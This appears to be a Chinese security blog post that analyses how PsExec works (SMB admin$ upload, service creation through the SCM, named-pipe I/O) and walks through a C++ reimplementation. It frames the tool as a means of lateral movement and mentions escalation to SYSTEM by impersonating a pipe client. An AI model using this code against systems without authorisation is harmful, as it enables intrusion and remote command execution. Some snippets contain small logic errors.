psexec原理分析和实现


前言

psexec是sysinternals提供的众多windows工具中的一个,这款工具的初衷是帮助管理员管理大量的机器的,后来被攻击者用来做横向渗透。

下载地址:

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

要使用psexec,至少要满足以下要求:

  1. 远程机器的 139 或 445 端口需要开启状态,即 SMB;
  2. 明文密码或者 NTLM 哈希;
  3. 具备将文件写入共享文件夹的权限;
  4. 能够在远程机器上创建服务:SC_MANAGER_CREATE_SERVICE
  5. 能够启动所创建的服务:SERVICE_QUERY_STATUS && SERVICE_START

psexec执行原理

环境:

  • Windows 10 -> 192.168.111.130
  • Windows Server 2016 -> 192.168.111.132

在windows 10上用psexec登录windows server 2016

vggg2T.png

原版的psexec只支持账户密码登录,但是在impacket版的psexec支持hash登录(很实用)

psexec执行流程:

  1. PSEXESVC.exe上传到admin$共享文件夹内;
  2. 远程创建用于运行PSEXESVC.exe的服务;
  3. 远程启动服务。

PSEXESVC服务充当一个重定向器(包装器)。它在远程系统上运行指定的可执行文件(示例中的cmd.exe),同时,它通过主机之间来重定向进程的输入/输出(利用命名管道)。

vQhlMn.png

流量分析

  1. 使用输入的账户和密码,通过SMB会话进行身份验证;
  2. 利用SMB访问默认共享文件夹ADMIN$,从而上传PSEXESVC.exe

vQbE40.png

  1. 打开svcctl的句柄,与服务控制器(SCM)进行通信,使得能够远程创建/启动服务。此时使用的是SVCCTL服务,通过对SVCCTL服务的DCE\RPC调用来启动Psexec
  2. 使用上传的PSEXESVC.exe作为服务二进制文件,调用CreateService函数;
  3. 调用StartService函数;

vQqNiq.png

  1. 之后再创建命名管道来重定向stdin(输入)stdout(输出)stderr(错误输出)

vQLJXD.png

代码实现

通过上面的分析,可以列一个代码的执行流程:

1. 连接SMB共享
2. 上传一个恶意服务文件到共享目录
3. 打开SCM创建服务
4. 启动服务
   a. 服务创建输入输出管道
   b. 等待攻击者连接管道
   c. 从管道读取攻击者的命令
   d. 输出执行结果到管道
   e. 跳转到 c
5. 删除服务
6. 删除文件

连接SMB共享

连接SMB共享需要用到WNetAddConnection

The WNetAddConnection function enables the calling application to connect a local device to a network resource. A successful connection is persistent, meaning that the system automatically restores the connection during subsequent logon operations.

WNetAddConnection只支持16位的Windows,更高位的需要使用WNetAddConnection2WNetAddConnection3

WNetAddConnection2A

DWORD WNetAddConnection2A(
  [in] LPNETRESOURCEA lpNetResource,    // 一个指向连接信息结构的指针
  [in] LPCSTR         lpPassword,       // 密码
  [in] LPCSTR         lpUserName,       // 用户名
  [in] DWORD          dwFlags           // 选项
);

接下来就可以实现一个连接SMB共享的函数ConnectSMBServer

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
    // SMB shared resource.
    PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
    // Return value
    DWORD dwRetVal;
    // Detailed network information
    NETRESOURCE nr;
    // Connection flags
    DWORD dwFlags;

    ZeroMemory(&nr, sizeof(NETRESOURCE));
    swprintf(lpwsIPC, 100, TEXT("\\\\%s\\admin$"), lpwsHost);

    nr.dwType = RESOURCETYPE_ANY;
    nr.lpLocalName = NULL;
    nr.lpRemoteName = lpwsIPC;
    nr.lpProvider = NULL;

    dwFlags = CONNECT_UPDATE_PROFILE;

    dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
    if (dwRetVal == NO_ERROR) {
        // success
        wprintf(L"[*] Connect added to %s\n", nr.lpRemoteName);
        return dwRetVal;
    }


    wprintf(L"[*] WNetAddConnection2 failed with error: %u\n", dwRetVal);
    return -1;
}

查看本地的网络连接,发现已经添加了对应的SMB共享

v0tSjs.png

上传文件

根据Rvn0xsy师傅的博客,他利用的是CIFS协议将网络文件共享映射为本地资源去访问,从而能够直接利用Windows文件相关的API来操作共享文件。

CIFS (Common Internet File System),Windows上的一个文件共享协议。该协议的功能包括:

  1. 访问服务器本地文件并读取这些文件
  2. 与其它用户一起共享一些文件块
  3. 在断线时自动恢复与网络的连接
  4. 使用Unicode文件名
BOOL CopyFile(
  [in] LPCTSTR lpExistingFileName,
  [in] LPCTSTR lpNewFileName,
  [in] BOOL    bFailIfExists
);

所以可以通过已有的SMB共享将本地文件拷贝至远程主机。

BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath) {
    DWORD dwRetVal;
    dwRetVal = CopyFile(lpwsSrcPath, lpwsDstPath, FALSE);
    return dwRetVal > 0 ? TRUE : FALSE;
}

测试效果:

v0tJ8e.png

C:\windows\下查看上传文件

v0tUKA.png

编写服务程序

Microsoft Windows 服务(过去称为 NT 服务)允许用户创建可在其自身的 Windows 会话中长时间运行的可执行应用程序。 这些服务可在计算机启动时自动启动,可以暂停和重启,并且不显示任何用户界面。 这些功能使服务非常适合在服务器上使用,或者需要长时间运行的功能(不会影响在同一台计算机上工作的其他用户)的情况。 还可以在与登录用户或默认计算机帐户不同的特定用户帐户的安全性上下文中运行服务。

Windows 服务被设计用于需要在后台运行的应用程序以及实现没有用户交互的任务,并且部分服务是以SYSTEM权限启动。

服务控制管理器 (Service Control Manager, SCM),对于服务有非常重要的作用,它可以把启动服务或停止服务的请求发送给服务。SCM是操作系统的一个组成部分,它的作用是与服务进行通信。

关于服务程序,主要包含三个部分:主函数、ServiceMain函数、处理程序。

  1. 主函数:程序的一般入口,可以注册多个 ServiceMain 函数;
  2. ServiceMain函数:包含服务的实际功能。服务必须为所提供的每项服务注册一个 ServiceMain 函数;
  3. 处理程序:必须响应来自 SCM 的事件(停止、暂停 或 重新开始);

Rvn0xsy师傅也给出了一个服务模板:

#include <Windows.h>
#include <stdio.h>  
// Windows 服务代码模板
////////////////////////////////////////////////////////////////////////////////////
// sc create Monitor binpath= Monitor.exe
// sc start Monitor
// sc delete Monitor
////////////////////////////////////////////////////////////////////////////////////
/**********************************************************************************/
////////////////////////////////////////////////////////////////////////////////////
// New-Service –Name Monitor –DisplayName Monitor –BinaryPathName "D:\Monitor\Monitor.exe" –StartupType Automatic
// Start-Service Monitor
// Stop-Service Monitor
////////////////////////////////////////////////////////////////////////////////////



#define SLEEP_TIME 5000                          /*间隔时间*/
#define LOGFILE "D:\\log.txt"              /*信息输出文件*/

SERVICE_STATUS ServiceStatus;  /*服务状态*/
SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/

void  ServiceMain(int argc, char** argv);
void  CtrlHandler(DWORD request);
int   InitService();

int main(int argc, CHAR * argv[])
{
    WCHAR WserviceName[] = TEXT("Monitor");
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = WserviceName;
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    StartServiceCtrlDispatcher(ServiceTable);

    return 0;
}

int WriteToLog(const char* str)
{
    FILE* pfile;
    fopen_s(&pfile, LOGFILE, "a+");
    if (pfile == NULL)
    {
        return -1;
    }
    fprintf_s(pfile, "%s\n", str);
    fclose(pfile);

    return 0;
}

/*Service initialization*/
int InitService()
{
    CHAR Message[] = "Monitoring started.";
    OutputDebugString(TEXT("Monitoring started."));
    int result;
    result = WriteToLog(Message);

    return(result);
}

/*Control Handler*/
void CtrlHandler(DWORD request)
{
    switch (request)
    {
    case SERVICE_CONTROL_STOP:

        WriteToLog("Monitoring stopped.");
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    case SERVICE_CONTROL_SHUTDOWN:
        WriteToLog("Monitoring stopped.");

        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    default:
        break;
    }
    /* Report current status  */
    SetServiceStatus(hStatus, &ServiceStatus);
    return;
}

void ServiceMain(int argc, char** argv)
{
    WCHAR WserviceName[] = TEXT("Monitor");
    int error;
    ServiceStatus.dwServiceType =
        SERVICE_WIN32;
    ServiceStatus.dwCurrentState =
        SERVICE_START_PENDING;
    /*在本例中只接受系统关机和停止服务两种控制命令*/
    ServiceStatus.dwControlsAccepted =
        SERVICE_ACCEPT_SHUTDOWN |
        SERVICE_ACCEPT_STOP;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    hStatus = ::RegisterServiceCtrlHandler(
        WserviceName,
        (LPHANDLER_FUNCTION)CtrlHandler);
    if (hStatus == (SERVICE_STATUS_HANDLE)0)
    {

        WriteToLog("RegisterServiceCtrlHandler failed");
        return;
    }
    WriteToLog("RegisterServiceCtrlHandler success");
    /* Initialize Service   */
    error = InitService();
    if (error)
    {
        /* Initialization failed  */
        ServiceStatus.dwCurrentState =
            SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = -1;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    }
    /*向SCM 报告运行状态*/
    ServiceStatus.dwCurrentState =
        SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ServiceStatus);

    /*do something you want to do in this while loop*/
    // TODO
    return;
}

可以TODO部分实现自己的代码,创建并启动该服务之后就会执行该部分代码,后续与攻击者通信部分也是在这实现的。

远程管理服务

通过SMB共享可以上传服务文件,但是要创建服务并启动还需要通过服务控制管理器(SCM)管理。如果当前用户要连接另一台计算机上的服务,需要有相应的权限并且进行认证,但是之前连接SMB共享的时候已经通过WNetAddConnection2进行认证了,所以不需要再进行认证。

OpenSCManagerA

SC_HANDLE OpenSCManagerA(
  [in, optional] LPCSTR lpMachineName,      // 目标计算机的名称
  [in, optional] LPCSTR lpDatabaseName,     // 服务控制管理器数据库的名称
  [in]           DWORD  dwDesiredAccess     // 访问权限列表
);

OpenServiceA

SC_HANDLE OpenServiceA(
  [in] SC_HANDLE hSCManager,
  [in] LPCSTR    lpServiceName,
  [in] DWORD     dwDesiredAccess
);

CreateServiceA

SC_HANDLE CreateServiceA(
  [in]            SC_HANDLE hSCManager,
  [in]            LPCSTR    lpServiceName,
  [in, optional]  LPCSTR    lpDisplayName,
  [in]            DWORD     dwDesiredAccess,
  [in]            DWORD     dwServiceType,
  [in]            DWORD     dwStartType,
  [in]            DWORD     dwErrorControl,
  [in, optional]  LPCSTR    lpBinaryPathName,
  [in, optional]  LPCSTR    lpLoadOrderGroup,
  [out, optional] LPDWORD   lpdwTagId,
  [in, optional]  LPCSTR    lpDependencies,
  [in, optional]  LPCSTR    lpServiceStartName,
  [in, optional]  LPCSTR    lpPassword
);

得到SCM的句柄之后,就可以利用CreateService创建服务,再通过调用StartService完成整个服务的创建、启动过程。

BOOL CreateServiceWithSCM(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath)
{
    std::wcout << TEXT("Will Create Service ") << lpwsServiceName << std::endl;
    SC_HANDLE hSCM;
    SC_HANDLE hService;
    SERVICE_STATUS ss;
    // GENERIC_WRITE = STANDARD_RIGHTS_WRITE | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_MODIFY_BOOT_CONFIG
    hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        std::cout << "OpenSCManager Error: " << GetLastError() << std::endl;
        return -1;
    }

    hService = CreateService(
        hSCM, // 服务控制管理器数据库的句柄
        lpwsServiceName, // 要安装的服务的名称
        lpwsServiceName, // 用户界面程序用来标识服务的显示名称
        GENERIC_ALL, // 访问权限
        SERVICE_WIN32_OWN_PROCESS, // 与一个或多个其他服务共享一个流程的服务
        SERVICE_DEMAND_START, // 当进程调用StartService函数时,由服务控制管理器启动的服务 。
        SERVICE_ERROR_IGNORE, // 启动程序将忽略该错误并继续启动操作
        lpwsServicePath, // 服务二进制文件的标准路径
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);
    if (hService == NULL) {
        std::cout << "CreateService Error: " << GetLastError() << std::endl;
        return -1;
    }
    std::wcout << TEXT("Create Service Success : ") << lpwsServicePath << std::endl;
    hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
    if (hService == NULL) {
        std::cout << "OpenService Error: " << GetLastError() << std::endl;
        return -1;
    }
    std::cout << "OpenService Success!" << std::endl;

    StartService(hService, NULL, NULL);

    return 0;
}

管道通信

在进程间通信中,管道分为两种:匿名管道和命名管道。

匿名管道

匿名管道通常用于父子进程间的通信,交换数据只能在父子进程中单向流通,所以匿名管道通常会创建两个,一个用于读数据,另一个用于写数据。

https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes

命名管道

命名管道比匿名管道更加灵活,可以在管道服务端和一个或多个管道客户端之间进行单向或双向通信。一个命名管道可以有多个实例,但是每个实例都有自己的缓冲区和句柄。

https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes

在PsExec中创建了三个命名管道stdin、stdout、stderr 用于攻击者和远程主机之间通信,但笔者为了偷懒,只实现了一个命名管道,输入输出都共用这个管道。

命名管道通信大致和socket通信差不多,下面是整个通信过程以及相应的Windows API:

vBygwF.png

命名管道服务端

关于如何实现命名管道幅度,笔者参考msdn提供的样例代码实现了简单的单线程服务端。

参考代码:

https://docs.microsoft.com/en-us/windows/win32/ipc/multithreaded-pipe-server

先创建一个命名管道

int _tmain(VOID) {
    HANDLE hStdoutPipe = INVALID_HANDLE_VALUE;
    LPCTSTR lpszStdoutPipeName = TEXT("\\\\.\\pipe\\PSEXEC");

    if (!CreateStdNamedPipe(&hStdoutPipe, lpszStdoutPipeName)) {
        OutputError(TEXT("CreateStdNamedPipe PSEXEC"), GetLastError());
    }
    _tprintf("[*] CreateNamedPipe successfully!\n");
}

BOOL CreateStdNamedPipe(PHANDLE lpPipe, LPCTSTR lpPipeName) {
    *lpPipe = CreateNamedPipe(
        lpPipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_MESSAGE |
        PIPE_READMODE_MESSAGE |
        PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        BUFSIZE,
        BUFSIZE,
        0,
        NULL);

    return !(*lpPipe == INVALID_HANDLE_VALUE);
}

之后再等待客户端进行连接

if (!ConnectNamedPipe(hStdoutPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED)) {
        OutputError("ConnectNamePipe PSEXEC", GetLastError());

        CloseHandle(hStdoutPipe);
        return -1;
}
_tprintf("[*] ConnectNamedPipe sucessfully!\n");

客户端连接之后,进入循环一直读取从客户端发来的命令,然后创建子进程执行命令,再通过匿名管道读取执行结果,将结果写入命名管道从而让客户端读取。

while (true) {
        DWORD cbBytesRead = 0;

        ZeroMemory(pReadBuffer, sizeof(TCHAR) * BUFSIZE);
        // Read message from client.
        if (!ReadFile(hStdoutPipe, pReadBuffer, BUFSIZE, &cbBytesRead, NULL)) {
            OutputError("[!] ReadFile from client failed!\n", GetLastError());
            return -1;
        }
        _tprintf("[*] ReadFile from client successfully. message = %s\n", pReadBuffer);

        /*================= subprocess ================*/
        sprintf_s(lpCommandLine, BUFSIZE, "cmd.exe /c \"%s && exit\"", pReadBuffer);
        _tprintf("[*] Command line %s\n", lpCommandLine);

        if (!CreateProcess(
            NULL,
            lpCommandLine,
            NULL,
            NULL,
            TRUE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
        )) {
            OutputError("CreateProcess", GetLastError());
            return -1;
        }

        WaitForSingleObject(pi.hProcess, INFINITE);

        fSuccess = SetNamedPipeHandleState(
            hWritePipe,    // pipe handle 
            &dwMode,  // new pipe mode 
            NULL,     // don't set maximum bytes 
            NULL);    // don't set maximum time 

        ZeroMemory(pWriteBuffer, sizeof(TCHAR) * BUFSIZE);
        fSuccess = ReadFile(hReadPipe, pWriteBuffer, BUFSIZE * sizeof(TCHAR), &cbBytesRead, NULL);

        if (!fSuccess && GetLastError() != ERROR_MORE_DATA) {
            break;
        }

        // Send result to client.
        cbToWritten = (lstrlen(pWriteBuffer) + 1) * sizeof(TCHAR);
        if (!WriteFile(hStdoutPipe, pWriteBuffer, cbBytesRead, &cbToWritten, NULL)) {
            OutputError("WriteFile", GetLastError());
            return -1;
        }
        _tprintf("[*] WriteFile to client successfully!\n");
}

命名管道客户端

命名管道客户端同样参考msdn提供的代码:

https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-client

客户端需要先通过CreateFile连接到命名管道,然后调用WaitNamedPipe等待管道实例是否可用

HANDLE hStdoutPipe = INVALID_HANDLE_VALUE;
LPCTSTR lpszStdoutPipeName = TEXT("\\\\.\\pipe\\PSEXEC");

hStdoutPipe = CreateFile(
        lpszStdoutPipeName,
        GENERIC_READ |
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

// All pipe instances are busy, so wait for 20 seconds.
if (WaitNamedPipe(lpszStdoutPipeName, 20000)) {
    _tprintf(TEXT("[!] Could not open pipe (PSEXEC): 20 second wait timed out.\n"));
    return -1;
}
_tprintf(TEXT("[*] WaitNamedPipe successfully!\n"));

连接命名管道后,同样进入循环交互,将从终端读取的命令写入管道中,等待服务端执行完毕后再从管道中读取执行结果。

while (true) {
        std::string command;

        std::cout << "\nPsExec>";
        getline(std::cin, command);
        cbToRead = command.length() * sizeof(TCHAR);

        if (!WriteFile(hStdoutPipe, (LPCVOID)command.c_str(), cbToRead, &cbRead, NULL)) {
            _tprintf(TEXT("[!] WriteFile to server error! GLE = %d\n"), GetLastError());
            break;
        }
        _tprintf(TEXT("[*] WriteFile to server successfully!\n"));

        fSuccess = ReadFile(hStdoutPipe, chBuf, BUFSIZE * sizeof(TCHAR), &cbRead, NULL);
        if (!fSuccess) {
            /*OutputError(TEXT("ReadFile"), GetLastError());*/
            _tprintf("ReadFile error. GLE = %d", GetLastError());
        }

        std::cout << chBuf << std::endl;
}

测试命名管道执行效果:

vB4uo6.png

vB4Gyd.png

最终效果

vBLVyT.png

这里的权限为nt authority\system,这是因为系统服务一般是由system来启动,所以命名管道可以通过模拟客户端来窃取token从而将administrator提升至system,metasploit当中的getsystem原理就是这个。

vBLnw4.png

全部源代码已经放在Github上,如果有写错的地方,请各位师傅指正。

https://github.com/zesiar0/MyPsExec

参考链接

  1. https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/
  2. https://payloads.online/archivers/2020-04-02/1/
  3. https://docs.microsoft.com/en-us/windows/win32/ipc/using-pipes

评论

好想做嘉然小姐的狗

这个人很懒,没有留下任何介绍

随机分类

二进制安全 文章:77 篇
安全开发 文章:83 篇
其他 文章:95 篇
密码学 文章:13 篇
逆向安全 文章:70 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录